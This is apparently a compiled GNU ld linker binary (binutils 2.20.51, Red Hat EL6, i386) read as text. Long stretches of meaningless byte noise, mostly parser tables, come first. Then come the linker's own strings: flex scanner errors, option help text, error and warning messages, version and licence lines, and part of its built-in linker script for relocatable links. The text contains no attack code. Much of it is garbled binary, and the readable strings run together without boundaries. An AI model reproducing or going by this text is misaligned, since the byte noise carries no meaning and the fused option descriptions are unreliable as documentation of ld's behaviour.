8%8k%&'9q%%%%8%%%9345%%@:%%%%?G%LcHMNOPQRS_$Z\9efqk%&'qM$&345:?4H@MNOPQRSb, Z\)*+,-kb67qhijkl@noprsuvw|}~[]aefq !"./0;<=>@ABIJKLTUVWXY^_`ef$q./0};<=>@ABIJKLTUVWXY^_`efq !"} !" !" !" !" !" !" !" !" !" !" !" !" !" !" !" !" !" !" !" !" !" !" !" !" !" !" !"&@ !"bhijklmnoprsuvw|}~ !"% !" !" !" !" !" !"Mc;y&aUWgYppQ\]IpqqBQqpexq\]#CL*R[ZG[\]:b^\]L\]J'EsFnXephikl_`nopqruqt01z{^w~uv3^_LT!^3\x^]^_p\y]de{LV|}q_~_=_ OQLpp;qq>;<xc4567`ab456"<=(>*;?456$%+3,-.2L	=
9/G8N>KOPQ*BRSZ[HJcdbffst+,?Tvwxy45|})6_gijklmnopq

*/")-05168:;LC;?KMDPU[\]ijklmnopqdiX=>*E?45j6FHoF4pGhg@qrstuvHwxIJKLMyNOPQRSTUVWXz{|45
}~ !"#$%&'()*+,-./01234567 !"#$%&8'()*m+,-./01234567
8










#
$
%
&
'
(
A
S
Y
Z
^
h
k
 
EFGHIJKLMNOPQRSTUVWX



;
E?>
<PFI@AOPRnH=@F?BCDEAG.36VaU]_PJ]_Bk4U6m(1/ !$%4&'*	QDYZ>\_
-87[KXbW^`C	hji635LNGIJTlWb^aQKX+20,#"59RSNL  Vf]`SH):c`YOM k'(9:[dd!#&)=7co\c"k:MgT 
;8eZ>:$<. rqs/%p+}+uvp|~*,t,0,xwyz
-{12
			














K#DH7^W,73"1CAz	
Y.9!:@r<=IN>?@A2EcAVlWj	mBD97f
CD`ayz{8	
8./0;<=>@ABIJKLTUVWXY^_`efq}&@bhijklnoprsuvw|}~}
8

	

8812%%8%%%%%%%%%%%%%%%&'345:?HMNOPQRSZ\kqm99@g%%8%%%%%%%%%%%%%%%%%%% !"8

}99@G_99%g	$%%g9$
8%(%CDEFG%%cYcZ$9

%&$8%%%d\9'%9%88 )*+,-67@[]aq9%%%%%6%9%67a67%%8%%%%%c$9GGGGGGGG
!#%**016789:;<=>?@BDFIKMOQSRVYX\`acejmpsvy}|#%$+,016;<AEEIHOPSUY[]_afmosuwy{}!#%'),.02468:<>@BDFHJLNPRTVY[]_acegikmoxz|~

#%-02676@mp|"&*.26<>	"#&+-/249>BEJNSX]bgjmpuz}
!%,.257;>?EFNOV[^abgjksuwy{
 "$&(*.29@BCHJKOQRZ[aeijnpsux}	!&+05<CJOV[]dkrw|

(-.123:<=AGHLMPRUZ]^abhjmrxyz{mhhionsssrjjj&&bbklpvvuw|}@$~I%J%`%;%;%=%<>^%_%K%@$Y%}%0102B%g%g%g%.89L%q% %6%7%6%7%6%6%7%6%7%7%6%%%%]a6%a%[%q%@$)*+,-

	e%f%A89@$Z\%T%U%U%V%WX%M% !"H%:O%N%P%Q%%k%&%&%3%4%5%?%'%R%S%q%Z%\%cc%&%d%89G89_89@$CDEFG%%(%(%'%Y89/89c%%89
	8	9
	
898989







}8
9}8
9

}
}G:GGGGHH	HHH!H'H.H6H=HAHEHJHQHUHYHJH]HaHeH6QhHoHvHzH~HHHHKHHHHHHHHHHFHHHHHII$I6I:I>IMI[IsIIIIIIIIIIIIIIIJJ
JJ JJ%J+J1J9J=JFJDJLJXJ_JdJkJJJJJJXIJJJJJKIJIJJJJKTI
KKKI K)K-K:KKKXK]KIdKmK}KKKKKKKKKKKKKKLLLLL8L!L-L1LALELVLiLmL{LLLLLL5LLLLLLLMMMMM/M4MBMPMbMqMMMMMMMMFMMMGMNN N1N=NBNGNSN_NnN~NNNNNNN
OO(O$O-O<OCOMOZOjOoOtOyO~OOOOOOOOOBOOOOOOO
PPPP"P,P1P6P;PEPUP^PpPuPPPPP&PPPPPPPPQ%F: macros nested too deeply
redirectbad buffer in yy_scan_bytes()\%03o%F%P: EOF in comment
ldlex.l in script in expressionout of dynamic memory in yyensure_buffer_stack()out of dynamic memory in yy_scan_buffer()out of dynamic memory in yy_scan_bytes()out of dynamic memory in yy_create_buffer()%F:includes nested too deeply
%F%s: file not recognized: %E
%P:%S: ignoring invalid character `%s'%s
fatal flex scanner internal error--end of buffer missedfatal error - scanner input buffer overflow%F%P: read in flex scanner failed
out of dynamic memory in yy_get_next_buffer()fatal flex scanner internal error--no action found24iU|"s_K7#o[G3kWC/{gS?+wcO;'s_K7#o[G3kWC/{gS?+WffcO;'s_K7#o[G3dH)WfkO3}Wffwwwwwwwww	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQ &,+"#$%-.'(!
	sq*) &,+"#$%-.'(!
	*)$%sq~"#$%-.(!
	w
ww~~[Ftr=>[F=>tr:4bkWl{`B^h:4kl{B:4bkWl{`B^hU63j@]LKva_63jLU63j@]LKva_?VAT5/i1JG\H?5i1G?VAT5/i1JG\HA<NuceypX2<Numyp<NuceypX2};Sx};x};SxMMMnoInonoIdZddZP|0f|P|0fYEEYEzDCzDCzDC999gg777OO888QQRR7766688699::;;666666<=6666=========66=6===========================666=666<>66666666>>6Z666666>bbbbb>>>>>>>>>66b>666>?6??66?????????????????????????@66@66ABC666BBZZ6D66BBBBBBB66BBBBBBB66E66F666GGGG6666<6==66=======66=66=====================================================66>>666H66ZZ*66I6bbb>>>>b>>>bb>>>>>>>>>>>>>>>>>>>b>??J?6I??????????????????????????????????????????????????????@@A6BBCCDBBBBBBBBBBBBBBBBBBBBBBBBBBB6EFG6GGG66================================================================>HI>b>>>>>>>>b>>>>>>>>>>>>>>>>>>>>>>>?J??????????????????????????????????????????????????????????????????@BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBGGG============================================================>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>????????????????????????????????????????????????????????????BBBBBBBBKBBBBBBBBBBBBBBBLBBBBBBBGGG==================================================>>>>>>>>>>>>>>>>>>>>>>>>>>??????????????????????????????????????????????????BBBBBMKBBBBBBBBBNLBBBBGGG=========================================>>>>>>>>>>>>>>>>>>>>>>>?????????????????????????????????????????BBBBBBBBBBBBGG===============================>>>>>>>>>>>>>>>>>>>???????????????????????????????BBBBBB========================>>>>>>>>>>>>>>????????????????????????BBBBBB===================>>>>>>>>>???????????????????===================>>>>>>>>>???????????????????================>>>>>>>????????????????==============>>>>>>??????????????==========>>>>>??????????==========>>>>>>??????????=======>>>???????=======>>>???????======>>??????=====>>?????====>????====>????====>????===>???==??=?=?666666666666666666666666	
																																				
QC5													A						;=		^												D	W					!Uq2		'	X	5A;			MYZ					"	jT7]				=RMT													A					C			n{							w	s	@u									b																R								|	8		{	}			{	x	z	n	y	{	o	}	}	q	~	w	n	b	i	u	d	w	u	c	c	b	C	F	K	<								F)			JMyf	`	^	g	h	[	d	Z	f	N	W	L	W	Y	\	Q	X	D	X	Z	'	tG	U	D	N	P	G	E	?	M	=	J	J	:	A	=	9	;	=	"C	9	9	7	,	7	9	-	;	;	/	<	5	&,	 	'	3	"	5	3	!	!	 					BC		uAxI#	"	&				%		 	!		 		V)			Di											w~{zuvsyson~rviNVjsrfpg_nlkcZ[^>bFE:C;4A?>7/02PIQJMHTFLBA5E>8;=:H<6H563E354A"7*2*3,703#'+/%'*%#

q|uxa`Kl)"	("5_qFPOjksp "# %'%!/-$-;4+24DEJG:IKB2NJ@MR>EXVROJ^\[b\^gltbowgmLZkttoYU]]Yil~
%&" 	842$7!3"EF8G1?@456NI42UVHZOXARIWXMoRqoa]u_q]\ceew	$(&( #!$+'15640-):/B?BOM?AOSV8IY[N\>PaQaY[hfXZhgjL]STeaqdglL]xjmQmcduqsv{[lq{		:EP[fqy{
															$H								$))


 ++--0-.
0.-/.	/		--120728.2981Wv7H^^9			














%%








;QY:[W%:%;::kY!Q``v%lk|
m

l>[>>|m%%>>>">>%>


#z&&cncpncpnc&p&ccdpddzddd$&&%eeeeggeffgeefggfff))ssps&pssG@@sG':(:)q}}q*h~~5}}bhb5+~}~\r,\0r}}}1~5~6**nnn89:;n<*n*OO@*AEOOOOOO001F1*H*0I1JM*00O11POOOOOOZZLVVQRZZZZZZUZ2Z2ZVZVV2vZv22JWvZZZZZZ7Z7ZLZVZVK7ZZbb[77]bbbbbbbT;b;_b`bbb;cdbKeT;;fbbbbbb<b<<gbhi<jkbyy<<PlPyyyyyyPnopPPqrtuvxyz{yyyyyy|}P~

"""""""" !"#"$"%')*+,-.012578:<=>""""""?@A"B"SSCDEFGJSSSSSSKLMNSRSSTXYZ[]^_`acdfghjmSSSSSSnopSkSqkrsvxyz|}~22222222222222222

222BB
BBBBBBBBBBBBBB !"#$%&'()*+./013456789:B=>?@ABCDEFGJKLMOPQRSTUBBBVWXY\]^_`abcdeghijklmnopstuvwxyz|}	

 !"$%&(),-/123777777777778888888888899999999999:::::::::::;;;;;;;;;;;<<<<<<<<<<<========>I>>>>>???????@@@@AAAAAAAAAAABBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEFFGGGGGGHHHHHHJJJJJJJK	KKKKKKKKKLLLLLLLLLLMMMMMMMMMMNNNNNNNNNN~}|{zyxwvusrqolihgfedcba`_^]\[ZYXWVUTSRQPNKJIHGFEDCA@?>=<;:9876543210/.-,+('&%$#"! 

	~}|{zyxwutspomlkjigfedca`_^[ZYXQONMLKJIHFEDCBA?>=984

	tojih_UTNMLFEDC@?=<6543*" 6666666666666666666666666666666666666666666666666666666666666666666666666666666666 !"#$%&'()*+,-./012345#6789:;<=>?#@####A#B#C#########D##E##F####GHIJKLMNKOPQRSTUVWXYZ[\]^_`abcdefghXiXjklmnoXXpXXXXXXXqXrKXsgggggXXXXXXXXXXtXXXXuvwxKLMNKyPQRSTUVz{|}~\]^_`a{{{{{{q{rK{{{{{{{{{{{{{{{{{{uvwKKKKKKKKKKK}~KKKKKKKK% KKKKKKKKKKKKKK}~KKKKK',&	

B( D,C'KFKKE,UGgh,KKK)+GHI%7H7bLIc8MJ9N!!7O7^!T_:p`i!!jkqa;7d7<e7r7!s77t!=!f!!!!!XuY>Zw{,x[vyz|\]LJ,77+!,!!PKJVVK<VV
--5=6-W-/L0M--W--**C\D]E^F6G6"",""""""777766!!,!!!""""""))VV*+*+**,7---,-;!Q<.Ro!!S*+*+**7,7---,-!.00!!010200q37473r56!3!0707007373!3SS!!77SSSSSS7!7--!!!!!	SSSSSS-
-'7
7!!! !"#$%&'()+,-./0123456789:*;<=>?@ABCDEFGHIJKLMNOPQRSTUVWX[\]^_`abcdefghijklmnopqrstuYvwxyZz{|}~""""""""""""""SSSSSSSS))SSSSSS))mmmmnnnn	

 !"$%&'()*+,./#0123-456789:=>?;@A<BCDEFGHJKILMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~	

 !"#$%&'()*+,-./012345!!!!!!RRRRRRR*******~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMIHGFEDCBA@?>=:9876543210/.-*)('&%$#"! 

	~}|{zyxwvutsplkjihgfedcba`_[ZYXWVUTPONIHBA@?>;:9874321.-,+(&%$#"! 
	'/(%$~}onmlQKA@?/$#6666666666666666666666666666666666666666666666666666666666666666666666666666666666yylex














































%P%F: invalid hex number `%s'
%P%F: use the --help option for usage information
%P%F: unrecognized -a option `%s'
%P%F: unrecognized -assert option `%s'
%F%P: unknown demangling style `%s'%s: emulation specific options:
<http://bugzilla.redhat.com/bugzilla/>%P%F: bad --unresolved-symbols option: %s
%P: SONAME must not be empty string; keeping previous one
%P%F: invalid common section sorting option: %s
%P%F: invalid section sorting option: %s
%P%F: invalid argument to option "--section-start"
%P%F: missing argument(s) to option "--section-start"
%P%F: may not nest groups (--help for usage)
%P%F: group ended before it began (--help for usage)
%P%X: --hash-size needs a numeric argument
%P: SONAME must not be empty string; ignored
Shared library control for HP/UX compatibilitySpecify target for following input filesForce common symbols to be definedUndo the effect of --export-dynamicAuxiliary filter for shared object symbol tableFilter for shared object symbol tableSmall data size (if no size, same as --shared)Set internal name of shared librarySet PROGRAM as the dynamic linker to useAdd DIRECTORY to library search pathOverride the default sysroot locationPrint map file on standard outputDo not page align data, do not make text readonlyPage align data, make text readonlyIgnored for SVR4 compatibilityGenerate relocations in final outputJust link symbols (if directory, same as --rpath)Strip symbols in discarded sectionsDo not strip symbols in discarded sectionsStart with undefined reference to SYMBOLDon't merge input [SECTION | orphan] sectionsBuild global constructor/destructor tablesPrint version and emulation informationDiscard temporary local symbols (default)Don't discard any local symbolsDefault search path for Solaris compatibilityAccept input files whose architecture cannot be determinedReject input files whose architecture is unknownOnly set DT_NEEDED for following dynamic libs if usedAlways set DT_NEEDED for dynamic libraries mentioned on
                                the command lineIgnored for SunOS compatibilityDo not link against shared librariesBind global references locallyBind global function references locallyCheck section addresses for overlaps (default)Do not check section addresses for overlapsCopy DT_NEEDED links mentioned inside DSOs that followDo not copy DT_NEEDED links mentioned inside DSOs that followDemangle symbol names [using STYLE]Do not treat warnings as errors (default)Force generation of file with .exe suffixRemove unused sections (on some targets)Don't remove unused sections (default)List removed unused sections on stderrDo not list removed unused sectionsSet default hash table size close to <NUMBER>Use less memory and more disk I/ODo not allow unresolved references in object filesAllow unresolved references in shared libariesDo not allow unresolved references in shared libsCreate default symbol version for imported symbolsDon't warn about mismatched input filesDon't warn on finding an incompatible libraryCreate an output file even if errors occurOnly use library directories specified on
                                the command lineIgnored for Linux compatibilityReduce memory overheads, possibly taking much longerRelax branches on certain targetsKeep only symbols listed in FILESet runtime shared library search pathSet link time shared library search pathCreate a position independent executableSort common symbols by alignment [in specified order]Sort sections by name or maximum alignmentHow many tags to reserve in .dynamic sectionSplit output sections every SIZE octetsSplit output sections every COUNT relocsDisplay target specific optionsUse same format as native linkerHow to handle unresolved symbols.  <method> is:
                                ignore-all, report-all, ignore-in-object-files,
                                ignore-in-shared-libsOutput lots of information during linkRead version information scriptTake export symbols list from .exports, using
                                SYMBOL as the version.Add data symbols to dynamic listUse C++ operator new/delete dynamic listWarn about duplicate common symbolsWarn if global constructors/destructors are seenWarn if the multiple GP values are usedWarn only once per undefined symbolWarn if start of section changes due to alignmentWarn if shared object has DT_TEXTRELWarn if an object has alternate ELF machine codeReport unresolved symbols as warningsReport unresolved symbols as errorsInclude all objects from following archivesUse wrapper functions for SYMBOL-G--shared--library=%s%P: unrecognized option '%s'
defaultnodefinitionsnosymbolicpure-text%P%F: invalid number `%s'
Usage: %s [options] file...
Options:
%s-%c%s-%s%s  @FILERead options from FILE
%s: supported targets:%s: supported emulations: Report bugs to %s
ignore-allreport-allignore-in-object-filesignore-in-shared-libs%P%F: bad -rpath option
%s%c%s%P%F: -shared not supported
%P%F: -pie not supported
descendingascending.bss.data.text.text-segmentP,KEYWORDSet architecturemri-scriptRead MRI format linker scriptdcdpentrySet start addressExport all dynamic symbolsno-export-dynamicEBLink big-endian objectsLink little-endian objectsauxiliaryfilterIgnoredgpsizesonameFILENAMEdynamic-linkerPROGRAMSearch for library LIBNAMElibrary-pathDIRECTORYsysroot=<DIRECTORY>Set emulationprint-mapnmagicDo not page align datano-omagicSet output file nameOptimize output fileQyemit-relocsrelocatableGenerate relocatable outputjust-symbolsstrip-allStrip all symbolsstrip-debugStrip debugging symbolsno-strip-discardedtraceTrace file opensRead linker scriptdefault-scriptRead default linker scriptdTunique[=SECTION]UrPrint version informationdiscard-allDiscard all local symbolsdiscard-localsdiscard-nonetrace-symbolTrace mentions of SYMBOLstart-groupStart a groupend-groupEnd a groupno-accept-unknown-input-archno-add-neededno-as-neededassertBdynamicLink against shared librariescall_sharedBstaticdnnon_sharedBsymbolicBsymbolic-functionsno-check-sectionsno-copy-dt-needed-entriescrefOutput cross reference tabledefsymSYMBOL=EXPRESSIONDefine a symbol[=STYLE]embedded-relocsGenerate embedded relocsTreat warnings as errorsno-fatal-warningsCall SYMBOL at unload-timeforce-exe-suffixno-gc-sectionsno-print-gc-sectionshash-size=<NUMBER>Print option helpCall SYMBOL at load-timeMapWrite a map fileno-define-commonDo not define Common storageno-demangleDo not demangle symbol namesno-keep-memoryno-undefinedno-allow-shlib-undefinedallow-multiple-definitionAllow multiple definitionsno-undefined-versionDisallow undefined versiondefault-symverCreate default symbol versiondefault-imported-symverno-warn-mismatchno-warn-search-mismatchno-whole-archiveTurn off --whole-archivenoinhibit-execnoinhibit_execnostdliboformatSpecify target of output fileqmagicreduce-memory-overheadsrelaxretain-symbols-filerpathrpath-linkCreate a shared libraryBshareablepiepic-executablesort-common[=ascending|descending]sort_commonsort-sectionname|alignmentspare-dynamic-tagsCOUNTsplit-by-file[=SIZE]split-by-reloc[=COUNT]statsPrint memory usage statisticstarget-helptask-linkDo task level linkingtraditional-formatsection-startSECTION=ADDRESSSet address of named sectionTbssSet address of .bss sectionTdataSet address of .data sectionTtextSet address of .text sectionTtext-segmentSet address of text segmentunresolved-symbols=<method>dll-verboseversion-scriptversion-exports-sectiondynamic-list-datadynamic-list-cpp-newdynamic-list-cpp-typeinfoUse C++ typeinfo dynamic listdynamic-listRead dynamic listwarn-commonwarn-constructorswarn-multiple-gpwarn-oncewarn-section-alignwarn-shared-textrelwarn-alternate-emwarn-unresolved-symbolserror-unresolved-symbolswrapf9Gbq /IxExs@#Zpx+(
xO^m|Hz:


U?dy&;F'[


M
7
F		)	5	A	M							




	!-<crga$AAzIbb$YTcc~dddee/E,>A*KYtffG~FFGgGGRT hPItmllLLmGQMMnn :NN7Hoo~AOVklnqqzrriRR~ssSSttGTT~,~;VGuu8Y`dk&vnVxxXXyyY	4((
))#d @=NKXx_hL8d-n=FVo@Q,X
:Q(~,=Nkw(L.=[s@p$Y	2P	8~t	L		R		]u	
P
|


&,JV`v +9UDuq}~$D~". 
@T
Q|
[
n

0X|p'('P'P'''''''P'P''P'P''`-------8-44444444444444444x44444p4X44444444444444444444444444x44444p4X4X@<@<@<@@<@<@<@<@<@<@<@<@X@<@p@hUHUSSTTST8TSSSVUS UHVHV@VVPVZ`baaa0bn0nxkxkmllllkxkxkXsrxksttttt0`@pКhxxPPh8`XXТXh2\nU1Zo_icompare_sectionlang_do_assignments_1lang_size_sections_1print_data_statementload_symbolspop_stat_ptrpush_stat_ptr%X%P: unable to find version dependency `%s'
%P%F: invalid syntax in flags
%X%P: address 0x%v of %B section `%s' is not within region `%s'
%X%P: %B section `%s' will not fit in region `%s'
%X%P: anonymous version tag cannot be combined with other version tags
%X%P: duplicate version tag `%s'
%X%P: duplicate expression `%s' in version information
%X%P: unknown language `%s' in version information
%P%F: bfd_link_hash_lookup failed: %E
%P%F: Could not define common symbol `%T': %E
Common symbol       size              file

%F%P: invalid reloc statement
%X%P:%S: PHDRS and FILEHDR are not supported when prior PT_LOAD headers lack them
%F%P:%S: error: alias for default memory region
%F%P:%S: error: redefinition of memory region alias `%s'
%F%P:%S: error: memory region `%s' for alias `%s' does not exist
%P:%S: warning: redeclaration of memory region `%s'
%P:%S: warning: memory region `%s' not declared
%X%P:%S: section has both a load address and a load region
%F%S: non constant or forward reference address expression for section %s
%P%X: Internal error on COFF shared library section %s
%P%F: error: no memory region specified for loadable section `%s'
%P: warning: no memory region specified for loadable section `%s'
%P: warning: changing start of section %s by %lu bytes
%P: warning: dot moved backwards before `%s'
%P%F: can't relax section: %E
%P%F: bfd_hash_lookup failed creating symbol %s
%P: warning: could not find any targets that match endianness requirement
%P%F: cannot open output file %s: %E
%P%F:%s: can not make object file: %E
%P%F:%s: can not set architecture: %E
%P%F: can not create hash table: %E
%F%B: file not recognized: %E
%F%B: member %B in archive is not an object
%F%B: could not read symbols: %E
%P: warning: %s contains output sections; did you forget -T?
%P%F: bfd_hash_allocate failed creating symbol %s
%P%F: failed creating section `%s': %E
%P%F: Illegal use of `%s' section
%P%F: output format %s cannot represent section called %s
%P%F: Failed to create hash table
%P%F: Relocatable linking with relocations from format %s (%B) to format %s (%B) is not supported
%P%X: %s architecture of input file `%B' is incompatible with %s output
%P%X: failed to merge target specific data of file %B
%X%P: unable to read .exports section contents
%F%P: %s not found for insert
%F%P: no sections assigned to phdrs
%F%P: bfd_record_phdr failed: %E
%X%P: section `%s' assigned to non-existent phdr `%s'
%X%P: section %s loaded at [%V,%V] overlaps section %s loaded at [%V,%V]
%X%P: region `%s' overflowed by %ld bytes
%P%F: gc-sections requires either an entry or an undefined symbol
%P%F:%s: can't set start address
%P%F: can't set start address
%P: warning: cannot find entry symbol %s; defaulting to %V
%P: warning: cannot find entry symbol %s; not setting start address

Linker script and memory map

%P%F: multiple STARTUP files
C++Javaoperator new*operator delete*typeinfo name for*typeinfo for*ldlang.c
Allocating common symbols
%lx%016llx0x%V                %T
elf32-bigelf64-bigelf32-littleelf64-little%F%P: invalid data statement
program header typeCOMMON-l__load_start_%s__load_stop_%sload base0x%V %W %B
%W (size before relaxing)
%P%F: target %s not found
%B: file not recognized: %E
%B: matching formats:%F
%I
ALL/DISCARD/.exportsphdr flagsphdr load addressNONE.startof.%s.sizeof.%ssubsection alignment__stop_%s__start_%s*ABS*Fail with %d
 SORT (CONSTRUCTORS)
 CONSTRUCTORS
SORT(EXCLUDE_FILE(%s) Address of section %s set to  CREATE_OBJECT_SYMBOLS
 FILL mask 0x%02x0x%V %W %s 0x%v0x%V %W RELOC %s %s+ *fill*0x%V %W 
%s0x%V %W load address 0x%V[0x%V][unresolved]*undef*                   TARGET(%s)
OUTPUT(%sLOAD %s
START GROUP
END GROUP
INSERT %s %s

Discarded input sections


Memory Configuration

AttributesLengthOriginName%-16s %-18s %-18s %s
%-16s 0x%s  !srecIEEEieeeCOFFcoff-m68k%P%F: unknown format type %s
mri.cmri_alias%P%X: %s does not support reloc %s for set %s
%P%X: Unsupported size %d for set %s
%P%X: Different relocs used in set %s
%P%X: Different object file formats composing set %s

Set                 Symbol

%G
GLOBAL_%X%C: reloc refers to symbol `%T' which is not being output
%X%C: dangerous relocation: %s
%X%C: multiple definition of `%T'
%P: Disabling relaxation: it will not work with multiple definitions
%X%P: error: duplicate retain-symbols-file
%P%F: bfd_hash_table_init failed: %E
%P%F: bfd_hash_lookup for insertion failed: %E
%P: `-retain-symbols-file' overrides `-s' and `-S'
%P%F: bfd_hash_lookup failed: %E
 additional relocation overflows omitted from the output
 relocation truncated to fit: %s against undefined symbol `%T' relocation truncated to fit: %s against symbol `%T' defined in %A section in %B relocation truncated to fit: %s against `%T'%F%P: bfd_hash_table_init failed: %E
%F%P: bfd_hash_lookup failed: %E
%X%C: undefined reference to `%T'
%C: warning: undefined reference to `%T'
%X%D: more undefined references to `%T' follow
%D: warning: more undefined references to `%T' follow
%X%B: undefined reference to `%T'
%B: warning: undefined reference to `%T'
%X%B: more undefined references to `%T' follow
%B: warning: more undefined references to `%T' follow
%B%F: could not read symbols: %E
%B%F: could not read relocs: %E
%P: warning: global constructor %s used
%B: warning: definition of `%T' overriding common
%B: warning: common of `%T' overridden by definition
%B: warning: common of `%T' overridden by larger common
%B: warning: larger common is here
%B: warning: common of `%T' overriding smaller common
%B: warning: smaller common is here
%B: warning: multiple common of `%T'
%B: warning: previous common is here
Archive member included because of file (symbol)

%P%F: BFD backend error: BFD_RELOC_CTOR unsupported
%P%F: this linker was not configured to use sysroots
%X%P: can't set BFD default target to `%s': %E
%P%F: -r and -shared may not be used together
%P%F: -F may not be used without -shared
%P%F: -f may not be used without -shared

==================================================
%P%F: cannot open map file %s: %E
%P: link errors found, deleting executable `%s'
%X%P: unable to open for source of copy `%s'
%X%P: unable to open for destination of copy `%s'
%s: total time in link: %ld.%06ld
%D: first defined here
%X%P: %s: %E
%B: reference to %s
%B: definition of %s
%X%C:./ldmain.c+%v%Xusing multiple gp valueswarning: %C: %s%s
%P: %s%s
%B: %s%s
%B: warning: common is here
%B: warning: defined here
%s(%s)%B (%T)
/usr/share/locale--sysroot=i686-redhat-linux-gnuCOLLECT_NO_DEMANGLE_init_finiLDEMULATIONelf_i386-m%P%F: missing argument to -m
-mips1-mips2-mips3-mips4-mips5-mips32-mips32r2-mips64-mips64r2-m486using external linker script:using internal linker script:%P%F: no input files
%P: mode %s
%F%B: final close failed: %E
.exe.dll%P: Error writing file `%s'
%P: Error closing file `%s'
%s: data size %ld
a.outpreloc_overflowldwrite.c.stabstr$GDB_STRINGS$$GDB_SYMBOLS$%F%P: final link failed: %E
%P%F: bfd_new_link_order failed
%F%P: cannot create split section name for %s
%F%P: clone section failed: %E
		
p		++

build_link_order<code %d>NULL TREE
%B:%s+0x%vPROVIDE (%s, ASSERT (, %s) (%s)ldexp.c%X%P: %s
%F%S %% by zero
%F%S / by zero
MAXPAGESIZECOMMONPAGESIZE+=-=*=/=<<=>>=&=|=||&&==!=<<>>MAXMINASSERTHHx`Hxxx XfOWTZT
]T	`TcTgTkTnT
qTtTwTzTdThT}TTJHHHHHHH)>I0I7I8$Y9I:I;J<J>J=
J? J@JyKZJATBT`Tgz$H%H&IIXJKdJ.I%F%S can not PROVIDE assignment to location counter
%F%S invalid assignment to location counter
%F%S assignment to location counter invalid outside of SECTION
%F%S cannot move location counter backwards (from %V to %V)
%P%F:%s: hash creation failed
%X%S: unresolvable symbol `%s' referenced in expression
%F%S: undefined symbol `%s' referenced in expression
%F%S: undefined section `%s' referenced in expression
%F%S: undefined MEMORY region `%s' referenced in expression
%F%S: unknown constant `%s' referenced in expression
%F%S: nonconstant expression for %s
%s: 
Supported emulations: %S HLL ignored
%S SYSLIB ignored
GNUTARGET  no emulation specific options.
%P: unrecognised emulation mode: %s
GNU ld %s
  Supported emulations:
   %s
version 2.20.51.0.2-5.48.el6_10.1 20100205Copyright 2009 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License version 3 or (at your option) a later version.
This program has absolutely no warranty.
0x%sno symbol[%s]%s generated--defsym %s%s:%ubuilt in linker script:%u%s+0x%v (type %s)%B: In function `%T':
%s:%T%B:(%A+0x%v)%ld%lu%%%c%P%F: please report this bug
%F%P: internal error %s %d
%P: internal error: aborting at %s line %d in %s
%P: internal error: aborting at %s line %d
BAAAAAAAAAAAAAAAAAAAAAAAAAAABXCCC2EoECAEAAAAAAFAFFEA;HrG&HAAAAAAAAAAA@GAAAAAAAHAAAAAAtHAHB%P%F: cannot represent machine `%s'
%P%F: cannot open linker script file %s: %E
%F%P: invalid BFD target `%s'
%P: skipping incompatible %s when searching for %s
%F%P: attempted static link of dynamic object `%s'
%F%P: %s (%s): No such file: %E
%F%P: cannot find %s inside %s
/ldscriptscannot find script file %s
opened script file %s
/usr/lib/usr/binattempt to open %s failed
attempt to open %s succeeded
%F%P: %s: No such file: %E
.a%F%P: cannot find %s
C%X%C: prohibited cross reference from %s to `%T' in %s
%P: symbol `%T' missing from main hash table
%X%P: bfd_hash_table_init of cref table failed: %E
%X%P: cref_hash_lookup failed: %E

Cross Reference Table

SymbolFile
No symbols
ldcref.c%X%P: cref alloc failed: %E
/* Script for ld -r: link without relocation */
OUTPUT_FORMAT("elf32-i386", "elf32-i386",
	      "elf32-i386")
OUTPUT_ARCH(i386)
 /* For some reason, the Solaris linker makes bad executables
  if gld -r is used and the intermediate file has sections starting
  at non-zero addresses.  Could be a Solaris ld bug, could be a GNU ld
  bug.  But for now assigning the zero vmas works.  */
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  .interp       0 : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash         0 : { *(.hash) }
  .gnu.hash     0 : { *(.gnu.hash) }
  .dynsym       0 : { *(.dynsym) }
  .dynstr       0 : { *(.dynstr) }
  .gnu.version  0 : { *(.gnu.version) }
  .gnu.version_d 0: { *(.gnu.version_d) }
  .gnu.version_r 0: { *(.gnu.version_r) }
  .rel.init     0 : { *(.rel.init) }
  .rel.text     0 : { *(.rel.text) }
  .rel.fini     0 : { *(.rel.fini) }
  .rel.rodata   0 : { *(.rel.rodata) }
  .rel.data.rel.ro 0 : { *(.rel.data.rel.ro) }
  .rel.data     0 : { *(.rel.data) }
  .rel.tdata	0 : { *(.rel.tdata) }
  .rel.tbss	0 : { *(.rel.tbss) }
  .rel.ctors    0 : { *(.rel.ctors) }
  .rel.dtors    0 : { *(.rel.dtors) }
  .rel.got      0 : { *(.rel.got) }
  .rel.sharable_data	0 : { *(.rel.sharable_data) }
  .rel.sharable_bss	0 : { *(.rel.sharable_bss) }
  .rel.bss      0 : { *(.rel.bss) }
  .rel.ifunc    0 : { *(.rel.ifunc) }
  .rel.plt      0 :
    {
      *(.rel.plt)
    }
  .init         0 :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt          0 : { *(.plt) *(.iplt) }
  .text         0 :
  {
    *(.text .stub)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini         0 :
  {
    KEEP (*(.fini))
  } =0x90909090
  .rodata       0 : { *(.rodata) }
  .rodata1      0 : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame     0 : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table 0 : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  /* Exception handling  */
  .eh_frame     0 : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table 0 : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	0 : { *(.tdata) }
  .tbss		0 : { *(.tbss) }
  .preinit_array   0 :
  {
    KEEP (*(.preinit_array))
  }
  .init_array   0 :
  {
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
  }
  .fini_array   0 :
  {
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
  }
  .jcr          0 : { KEEP (*(.jcr)) }
